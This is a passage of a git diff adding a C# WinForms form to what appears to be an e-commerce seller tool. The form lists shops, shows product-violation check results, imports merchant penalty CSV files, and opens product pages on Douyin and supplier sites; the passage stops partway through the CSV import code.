this.dgvCheck.Location = new System.Drawing.Point(3, 3); + this.dgvCheck.Name = "dgvCheck"; + this.dgvCheck.ReadOnly = true; + this.dgvCheck.RowHeadersWidth = 48; + dataGridViewCellStyle6.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvCheck.RowsDefaultCellStyle = dataGridViewCellStyle6; + this.dgvCheck.RowTemplate.Height = 23; + this.dgvCheck.Size = new System.Drawing.Size(768, 358); + this.dgvCheck.TabIndex = 8; + this.dgvCheck.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvCheck_CellContentClick); + this.dgvCheck.CellMouseDown += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dgvCheck_CellMouseDown); + this.dgvCheck.CellMouseEnter += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvCheck_CellMouseEnter); + // + // tabPageViolateFileList + // + this.tabPageViolateFileList.Controls.Add(this.dgvViolateFileData); + this.tabPageViolateFileList.Location = new System.Drawing.Point(2, 26); + this.tabPageViolateFileList.Name = "tabPageViolateFileList"; + this.tabPageViolateFileList.Padding = new System.Windows.Forms.Padding(3); + this.tabPageViolateFileList.Size = new System.Drawing.Size(774, 364); + this.tabPageViolateFileList.TabIndex = 1; + this.tabPageViolateFileList.Text = "罚单数据"; + this.tabPageViolateFileList.UseVisualStyleBackColor = true; + // + // dgvViolateFileData + // + this.dgvViolateFileData.AllowUserToAddRows = false; + this.dgvViolateFileData.AllowUserToDeleteRows = false; + dataGridViewCellStyle7.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvViolateFileData.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle7; + this.dgvViolateFileData.BackgroundColor = System.Drawing.Color.White; + this.dgvViolateFileData.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle8.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvViolateFileData.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle8; + this.dgvViolateFileData.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvViolateFileData.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.col_dir, + this.col_file_name, + this.col_penalize_id, + this.col_business_id, + this.col_up_id, + this.col_from, + this.col_from_fake, + this.col_rule_name, + this.col_against_detail, + this.col_operate}); + this.dgvViolateFileData.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvViolateFileData.Location = new System.Drawing.Point(3, 3); + this.dgvViolateFileData.Name = "dgvViolateFileData"; + this.dgvViolateFileData.ReadOnly = true; + this.dgvViolateFileData.RowHeadersWidth = 48; + dataGridViewCellStyle9.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvViolateFileData.RowsDefaultCellStyle = dataGridViewCellStyle9; + this.dgvViolateFileData.RowTemplate.Height = 23; + this.dgvViolateFileData.Size = new System.Drawing.Size(768, 358); + this.dgvViolateFileData.TabIndex = 7; + this.dgvViolateFileData.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvViolateFileData_CellContentClick); + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.btnClear); + this.splitContainer4.Size = new System.Drawing.Size(1126, 26); + this.splitContainer4.SplitterDistance = 1011; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1011, 26); + this.statusBar.TabIndex = 2; + // + // btnClear + // + this.btnClear.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnClear.DisabledBackColor = System.Drawing.Color.Empty; + this.btnClear.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnClear.Location = new System.Drawing.Point(17, 0); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(90, 21); + this.btnClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnClear.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnClear.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnClear.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.Style.GradientAngle = 90; + this.btnClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.TabIndex = 440; + this.btnClear.Text = "清空排查结果"; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.HeaderText = "全选"; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.dataGridViewCheckBoxColumn1.Visible = false; + this.dataGridViewCheckBoxColumn1.Width = 40; + // + // col_dir + // + this.col_dir.HeaderText = "路径"; + this.col_dir.Name = "col_dir"; + this.col_dir.ReadOnly = true; + // + // col_file_name + // + this.col_file_name.HeaderText = "文件名"; + this.col_file_name.Name = "col_file_name"; + this.col_file_name.ReadOnly = true; + // + // col_penalize_id + // + this.col_penalize_id.HeaderText = "罚单编号"; + this.col_penalize_id.Name = "col_penalize_id"; + this.col_penalize_id.ReadOnly = true; + this.col_penalize_id.Width = 130; + // + // col_business_id + // + this.col_business_id.HeaderText = "商品编号"; + this.col_business_id.Name = "col_business_id"; + this.col_business_id.ReadOnly = true; + this.col_business_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_business_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_business_id.Width = 130; + // + // col_up_id + // + this.col_up_id.HeaderText = "上家编号"; + this.col_up_id.Name = "col_up_id"; + this.col_up_id.ReadOnly = true; + this.col_up_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_up_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_up_id.Width = 130; + // + // col_from + // + this.col_from.HeaderText = "来源"; + this.col_from.Name = "col_from"; + this.col_from.ReadOnly = true; + this.col_from.Visible = false; + this.col_from.Width = 80; + // + // col_from_fake + // + this.col_from_fake.HeaderText = "来源"; + this.col_from_fake.Name = "col_from_fake"; + this.col_from_fake.ReadOnly = true; + // + // col_rule_name + // + this.col_rule_name.HeaderText = "违规类型"; + this.col_rule_name.Name = "col_rule_name"; + this.col_rule_name.ReadOnly = true; + this.col_rule_name.Width = 280; + // + // col_against_detail + // + this.col_against_detail.HeaderText = "违规详情"; + this.col_against_detail.Name = "col_against_detail"; + this.col_against_detail.ReadOnly = true; + this.col_against_detail.Visible = false; + // + // col_operate + // + this.col_operate.HeaderText = "操作"; + this.col_operate.Name = "col_operate"; + this.col_operate.ReadOnly = true; + this.col_operate.Visible = false; + this.col_operate.Width = 80; + // + // col_result_select + // + this.col_result_select.HeaderText = "选择"; + this.col_result_select.Name = "col_result_select"; + this.col_result_select.ReadOnly = true; + this.col_result_select.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_result_select.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_result_select.Width = 40; + // + // col_result_data_from + // + this.col_result_data_from.HeaderText = "违规来源"; + this.col_result_data_from.Name = "col_result_data_from"; + this.col_result_data_from.ReadOnly = true; + this.col_result_data_from.Width = 120; + // + // col_result_shop_id + // + this.col_result_shop_id.HeaderText = "店铺编号"; + this.col_result_shop_id.Name = "col_result_shop_id"; + this.col_result_shop_id.ReadOnly = true; + this.col_result_shop_id.Visible = false; + // + // col_result_shop_name + // + this.col_result_shop_name.HeaderText = "店铺名称"; + this.col_result_shop_name.Name = "col_result_shop_name"; + this.col_result_shop_name.ReadOnly = true; + // + // col_result_product_id + // + this.col_result_product_id.HeaderText = "商品编号"; + this.col_result_product_id.Name = "col_result_product_id"; + this.col_result_product_id.ReadOnly = true; + this.col_result_product_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_result_product_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_result_product_id.Width = 130; + // + // col_result_up_id + // + this.col_result_up_id.HeaderText = "上家编号"; + this.col_result_up_id.Name = "col_result_up_id"; + this.col_result_up_id.ReadOnly = true; + this.col_result_up_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_result_up_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_result_up_id.Width = 130; + // + // col_result_from + // + this.col_result_from.HeaderText = "来源"; + this.col_result_from.Name = "col_result_from"; + this.col_result_from.ReadOnly = true; + this.col_result_from.Visible = false; + this.col_result_from.Width = 80; + // + // col_result_from_fake + // + this.col_result_from_fake.HeaderText = "来源"; + this.col_result_from_fake.Name = "col_result_from_fake"; + this.col_result_from_fake.ReadOnly = true; + this.col_result_from_fake.Width = 80; + // + // col_result_rule_names + // + this.col_result_rule_names.HeaderText = "违规类型"; + this.col_result_rule_names.Name = "col_result_rule_names"; + this.col_result_rule_names.ReadOnly = true; + this.col_result_rule_names.Width = 280; + // + // col_result_check_time + // + this.col_result_check_time.HeaderText = "排查时间"; + this.col_result_check_time.Name = "col_result_check_time"; + this.col_result_check_time.ReadOnly = true; + // + // col_result_status + // + this.col_result_status.HeaderText = "处理状态"; + this.col_result_status.Name = "col_result_status"; + this.col_result_status.ReadOnly = true; + this.col_result_status.Width = 150; + // + // dataGridViewTextBoxColumn5 + // + this.dataGridViewTextBoxColumn5.HeaderText = "操作"; + this.dataGridViewTextBoxColumn5.Name = "dataGridViewTextBoxColumn5"; + this.dataGridViewTextBoxColumn5.ReadOnly = true; + this.dataGridViewTextBoxColumn5.Visible = false; + this.dataGridViewTextBoxColumn5.Width = 80; + // + // ViolateManageForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1126, 590); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "ViolateManageForm"; + this.Text = "云违规排查"; + this.Load += new System.EventHandler(this.ViolateManageForm_Load); + this.VisibleChanged += new System.EventHandler(this.ViolateManageForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx3.ResumeLayout(false); + this.ucGroupBoxEx3.PerformLayout(); + this.ucGroupBoxEx2.ResumeLayout(false); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.ucTabControl1.ResumeLayout(false); + this.tabPageCheckResult.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvCheck)).EndInit(); + this.tabPageViolateFileList.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvViolateFileData)).EndInit(); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.PanelEx btnStartTroubleShooting; + private DevComponents.DotNetBar.PanelEx btnStop; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private UserControls.ButtonEx btnRefreshShop; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private System.Windows.Forms.FlowLayoutPanel flpViolate; + private System.Windows.Forms.CheckBox chkOperateOnSale; + private System.Windows.Forms.CheckBox chkOperateDataBase; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private System.Windows.Forms.CheckBox chkOperateOffSale; + private DevComponents.DotNetBar.PanelEx btnImport; + private DevComponents.DotNetBar.PanelEx panelEx1; + private UserComponent.UcTabControl ucTabControl1; + private System.Windows.Forms.TabPage tabPageCheckResult; + private System.Windows.Forms.TabPage tabPageViolateFileList; + private UserComponent.DataGridViewEx dgvViolateFileData; + private DevComponents.DotNetBar.PanelEx btnClear; + private UserComponent.DataGridViewEx dgvCheck; + private DevComponents.DotNetBar.PanelEx panelEx2; + private System.Windows.Forms.Panel panel1; + private UserComponent.LinkLabelLc llSelectAllRule; + private UserComponent.LinkLabelLc llClear; + private UserComponent.LinkLabelLc llSelectSerious; + private System.Windows.Forms.DataGridViewCheckBoxColumn col_result_select; + private System.Windows.Forms.DataGridViewTextBoxColumn col_result_data_from; + private System.Windows.Forms.DataGridViewTextBoxColumn col_result_shop_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_result_shop_name; + private System.Windows.Forms.DataGridViewLinkColumn col_result_product_id; + private System.Windows.Forms.DataGridViewLinkColumn col_result_up_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_result_from; + private System.Windows.Forms.DataGridViewTextBoxColumn col_result_from_fake; + private System.Windows.Forms.DataGridViewTextBoxColumn col_result_rule_names; + private System.Windows.Forms.DataGridViewTextBoxColumn col_result_check_time; + private System.Windows.Forms.DataGridViewTextBoxColumn col_result_status; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn5; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn col_dir; + private System.Windows.Forms.DataGridViewTextBoxColumn col_file_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_penalize_id; + private System.Windows.Forms.DataGridViewLinkColumn col_business_id; + private System.Windows.Forms.DataGridViewLinkColumn col_up_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_from; + private System.Windows.Forms.DataGridViewTextBoxColumn col_from_fake; + private System.Windows.Forms.DataGridViewTextBoxColumn col_rule_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_against_detail; + private System.Windows.Forms.DataGridViewTextBoxColumn col_operate; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/ViolateManageForm.cs b/TEMUKJD/KJDForms/UploadForms/ViolateManageForm.cs new file mode 100644 index 0000000..e4c77d7 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/ViolateManageForm.cs @@ -0,0 +1,1522 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Param.FissionManage; +using AllBase.Model.Param.ProductManage; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BLL.Product; +using Work.BLL.Upload; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class ViolateManageForm : Form + { + private CheckBox chkSelectAllShop = null; + private CheckBox chkSelectAllViolateParam = null; + CancellationTokenSource cancellationTokenSource = null; + + /// + /// 排查出的违规信息列表 + /// + public List LstViolateParam = new List(); + + /// + /// 导入的违规信息列表 + /// + public List LstViolateInfo = new List(); + /// + /// 动态查找上家并将违规入库的临时列表 + /// + public List LstVioLateInfoTemp = new List(); + + + + public ViolateManageForm() + { + InitializeComponent(); + } + + private void ViolateManageForm_Load(object sender, EventArgs e) + { + LoadShops(); + chkSelectAllShop = this.dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false, null, true); + chkSelectAllShop.CheckedChanged += ChkSelectAll_CheckedChanged; + chkSelectAllViolateParam = this.dgvCheck.AddSelectorColumn("col_result_select"); + + // 读取违规信息规则名称列表 + GetAllViolateRuleName(); + // 显示违规信息规则名称列表 + //SetViolateSelectList(flpViolate); + + // 获取暂存的导入违规罚单列表 + LstViolateInfo = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("violate_Info_list"); + if (LstViolateInfo == null) + LstViolateInfo = new List(); + Task.Run(() => + { + foreach (var violateInfo in LstViolateInfo) + { + Invoke(new Action(() => + { + ShowViolateInfo(violateInfo); + })); + } + LstVioLateInfoTemp.AddRange(LstViolateInfo); + }); + + // 获取暂存的还未处理的各种违规 + LstViolateParam = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("violate_param_wait_handle_list"); + if (LstViolateParam == null) + LstViolateParam = new List(); + Task.Run(() => + { + foreach (var violateParam in LstViolateParam) + { + string dataFromDescribe = GetDataFromDescribe(violateParam.DataFrom); + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == violateParam.DouShopId); + Invoke(new Action(() => + { + this.dgvCheck.Rows.Add(true, dataFromDescribe, violateParam.DouShopId, shop?.ShopAccount, violateParam.DouProductId, + violateParam.UpIdNumber, violateParam.From, "货源网", violateParam.RuleNames, violateParam.CheckTime.ToString("yyyy-MM-dd HH:mm")); + })); + } + }); + + // 循环处理获取到的新违规 + OperateViolateListTemp(); + } + + private void ChkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAllShop.Checked) + { + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功").Select(ss => ss.ShopAccountId).ToList(); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + public static void SetViolateSelectList(Control control) + { + if (control == null || ViolateRuleParam.LstViolateRuleName == null) + return; + + control.Invoke(new Action(() => + { + control.Controls.Clear(); + })); + + var seriousViolateRuleNameList = ViolateRuleParam.LstViolateRuleName.Where(rn => ViolateRuleParam.LstSeriousViolateRuleName.Any(r => rn.Contains(r))).ToList(); + var normalViolateRuleNameList = ViolateRuleParam.LstViolateRuleName.Where(rn => !seriousViolateRuleNameList.Contains(rn)).ToList(); + + List cList = new List(); + foreach (var item in seriousViolateRuleNameList) + { + CheckBox cb = new CheckBox(); + cb.Text = item; + cb.Name = "cb" + item; + cb.AutoSize = true; + cb.Checked = ViolateRuleParam.LstViolateRuleNameSelect.Contains(item); + cb.ForeColor = Color.FromArgb(240, 10, 0); + cb.Click += Cb_Click; + cList.Add(cb); + } + foreach (var item in normalViolateRuleNameList) + { + CheckBox cb = new CheckBox(); + cb.Text = item; + cb.Name = "cb" + item; + cb.AutoSize = true; + cb.Checked = ViolateRuleParam.LstViolateRuleNameSelect.Contains(item); + cb.Click += Cb_Click; + cList.Add(cb); + } + + control.Invoke(new Action(() => + { + control.Controls.AddRange(cList.ToArray()); + })); + } + + public static void Cb_Click(object sender, EventArgs e) + { + var check = sender as CheckBox; + if (check != null) + { + var t = ""; + foreach (var tt in ViolateRuleParam.LstViolateRuleNameSelect) + { + t += "\"" + tt + "\"" + ",\r\n"; + } + if (check.Checked) + { + if (!ViolateRuleParam.LstViolateRuleNameSelect.Contains(check.Text)) + ViolateRuleParam.LstViolateRuleNameSelect.Add(check.Text); + } + else + { + while (ViolateRuleParam.LstViolateRuleNameSelect.Contains(check.Text)) + ViolateRuleParam.LstViolateRuleNameSelect.Remove(check.Text); + } + StartUp.SaveViolateRuleNameSelectList(); + } + } + + public void ResetStatusBar() + { + this.statusBar.pgbTaskProgress.Maximum = 0; + this.statusBar.lblTaskStatus.Text = "准备就绪"; + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + } + + public void LoadShops() + { + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + var shop = GlobalConfig.DouShopLoginList[i]; + var row = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row == null) + dgvShop.Rows.Add(false, shop.ShopAccountId, shop.ShopAccount, shop.LoginStatus); + else + { + row.Cells["colAuthStatus"].Value = shop.ApiAuthStatus; + } + } + } + + private void btnRefreshShop_Click(object sender, EventArgs e) + { + LoadShops(); + } + + private void ViolateManageForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible) + { + LoadShops(); + Task.Run(() => + { + SetViolateSelectList(flpViolate); + }); + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string colId = dgvShop.Columns[e.ColumnIndex].Name; + if (colId == "colSelect") + { + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = !dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + } + } + + private void dgvCheck_CellMouseEnter(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var columnName = dgvCheck.Columns[e.ColumnIndex].Name; + if (MouseButtons == MouseButtons.Left) + { + if (columnName == "col_result_select") + { + dgvCheck.Rows[e.RowIndex].Cells["col_result_select"].Value = !dgvCheck.Rows[e.RowIndex].Cells["col_result_select"].Value.ParseToBool(); + } + } + } + + private void dgvCheck_CellMouseDown(object sender, DataGridViewCellMouseEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var columnName = dgvCheck.Columns[e.ColumnIndex].Name; + if (MouseButtons == MouseButtons.Left) + { + if (columnName == "col_result_select") + { + dgvCheck.Rows[e.RowIndex].Cells["col_result_select"].Value = !dgvCheck.Rows[e.RowIndex].Cells["col_result_select"].Value.ParseToBool(); + } + } + } + + private void dgvCheck_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var douGoodsId = dgvCheck.Rows[e.RowIndex].Cells["col_result_product_id"].Value?.ToString(); + var upId = dgvCheck.Rows[e.RowIndex].Cells["col_result_up_id"].Value?.ToString(); + var from = dgvCheck.Rows[e.RowIndex].Cells["col_result_from"].Value?.ToString(); + var columnName = dgvCheck.Columns[e.ColumnIndex].Name; + if (columnName == "col_result_product_id") + { + var url = "https://haohuo.jinritemai.com/views/product/detail?id=" + douGoodsId; + GetHtml.OpenUrl(url); + } + else if (columnName == "col_result_up_id") + { + var url = ""; + if (from == "淘宝") + url = "https://item.taobao.com/item.htm?id=" + upId; + else if (from == "阿里巴巴") + url = "https://detail.1688.com/offer/" + upId + ".html"; + else if (from == "微店") + url = "https://weidian.com/item.html?itemID=" + upId; + else if (from == "京喜") + url = "https://item.m.jd.com/product/" + upId + ".html"; + else if (from == "拼多多") + url = "http://mobile.yangkeduo.com/goods.html?goods_id=" + upId; + else if (from == "抖音" || from == "") + url = "https://haohuo.jinritemai.com/views/product/detail?id=" + upId; + GetHtml.OpenUrl(url); + } + } + + private void dgvViolateFileData_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var douGoodsId = dgvViolateFileData.Rows[e.RowIndex].Cells["col_business_id"].Value.ToString(); + var upId = dgvViolateFileData.Rows[e.RowIndex].Cells["col_up_id"].Value.ToString(); + var from = dgvViolateFileData.Rows[e.RowIndex].Cells["col_from"].Value.ToString(); + var columnName = dgvViolateFileData.Columns[e.ColumnIndex].Name; + if (columnName == "col_business_id") + { + var url = "https://haohuo.jinritemai.com/views/product/detail?id=" + douGoodsId; + GetHtml.OpenUrl(url); + } + else if (columnName == "col_up_id") + { + var url = ""; + if (from == "淘宝") + url = "https://item.taobao.com/item.htm?id=" + upId; + else if (from == "阿里巴巴") + url = "https://detail.1688.com/offer/" + upId + ".html"; + else if (from == "微店") + url = "https://weidian.com/item.html?itemID=" + upId; + else if (from == "京喜") + url = "https://item.m.jd.com/product/" + upId + ".html"; + else if (from == "拼多多") + url = "http://mobile.yangkeduo.com/goods.html?goods_id=" + upId; + else if (from == "抖音" || from == "") + url = "https://haohuo.jinritemai.com/views/product/detail?id=" + upId; + GetHtml.OpenUrl(url); + } + } + + private void btnImport_Click(object sender, EventArgs e) + { + OpenFileDialog openFileDialog = new OpenFileDialog(); + openFileDialog.Filter = "商家罚单.csv文件(*.csv)|*.csv"; + openFileDialog.RestoreDirectory = true; + openFileDialog.FilterIndex = 1; + openFileDialog.Multiselect = true; + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + this.ucTabControl1.SelectedTab = this.tabPageViolateFileList; + + Task.Run(() => + { + foreach (var fileName in openFileDialog.FileNames) + { + string lineStr = string.Empty; + string productUrl = string.Empty; + try + { + using (StreamReader sr = new StreamReader(fileName, Encoding.Default)) + { + int row = 0; + List tableHeader = new List(); + while ((lineStr = sr.ReadLine()) != null) + { + if (lineStr.StartsWith("罚单编号")) + tableHeader = lineStr.Split(',').ToList(); + if (tableHeader.Count == 0 || lineStr.StartsWith("罚单编号")) + continue; + List tableBody = FileBase.CsvStrToList(lineStr); + if (tableHeader.Count != tableBody.Count) + continue; + + Dictionary tableDic = new Dictionary(); + for (int i = 0; i < tableHeader.Count; i++) + { + tableDic[tableHeader[i]] = tableBody[i]; + } + ViolateInfo violateInfo = new ViolateInfo() + { + against_detail = tableDic["违规详情"]?.Trim(), + business_id = tableDic["订单/商品/店铺 编号"]?.Trim(), + penalize_id = tableDic["罚单编号"]?.Trim(), + rule_name = tableDic["违规类型"]?.Trim(), + fileName = fileName, + }; + if (LstViolateInfo.Any(v => v.penalize_id == violateInfo.penalize_id)) + continue; + + 